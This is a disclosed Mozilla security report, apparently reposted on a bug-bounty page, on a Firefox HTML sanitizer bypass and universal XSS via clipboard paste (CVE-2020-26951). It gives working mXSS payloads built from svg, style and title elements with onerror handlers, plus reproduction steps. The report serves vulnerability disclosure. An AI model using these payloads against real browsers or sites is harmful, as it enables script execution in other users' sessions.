mXSS payload (combined svg, style, title element) lead to HTML Sanitizer Bypass and XSS via Clipboard API (paste)
Originally disclosed on Mozilla
- Fixed in 29 days
- Paid in 33 days
- Disclosed after 29 days
Created attachment 9177645 uxss-svg-style-title.html
When continuing fuzzing the Firefox Nightly, I found another HTML sanitizer bypass with payload <svg><style><title>[xss payload].
The impact leads to HTML sanitizer bypass on privileged page and UXSS via clipboard API (paste).
Although DOM tree on document.body.innerHTML show <svg><style></style></svg>, but script execution is still possible.
Several XSS payloads I tested and it works:
<svg><style><title><audio src/onerror=alert(14)><svg><style><title><img src/onerror=alert(14)><svg><style><title><input src type=image onerror=alert(14)>
(and another [xss payload] probably will works..)
Browser tested:
- Firefox Nightly 83.0a1 (2020-09-23) (64-bit)
- Firefox Release 81.0 (64-bit)
- Firefox ESR 78.3.0esr (64-bit)
Steps to reproduce:
HTML sanitizer bypass on privileged page
- Go to about:config
- Set
security.csp.enableboolean fromtrue->false - Restart Firefox Nightly
- Go to about:config
- Open Dev Tools (Ctrl+Shift+I)
- Click Console tab
- Paste the code
document.body.innerHTML = "<svg><style><title><audio src/onerror=alert(Components.utils.loadedComponents[0])>"to the browser console - XSS will execute
UXSS via clipboard API (paste)
- Download attached file "uxss-svg-style-title.html" (Sorry can't share direct-link, because GCP cloud console outage in Asia)
- Click Copy Text
- Go to https://output.jsbin.com/gocizet/ (TinyMCE Rich Editor form)
- Paste with Ctrl+V or Right click -> Paste into TinyMCE form
- XSS will execute [pop alert(document.domain)]
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A high-severity XSS bug in DOM: Core & HTML. Mozilla made it public on 23 October 2020 as CVE-2020-26951.
About XSS
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.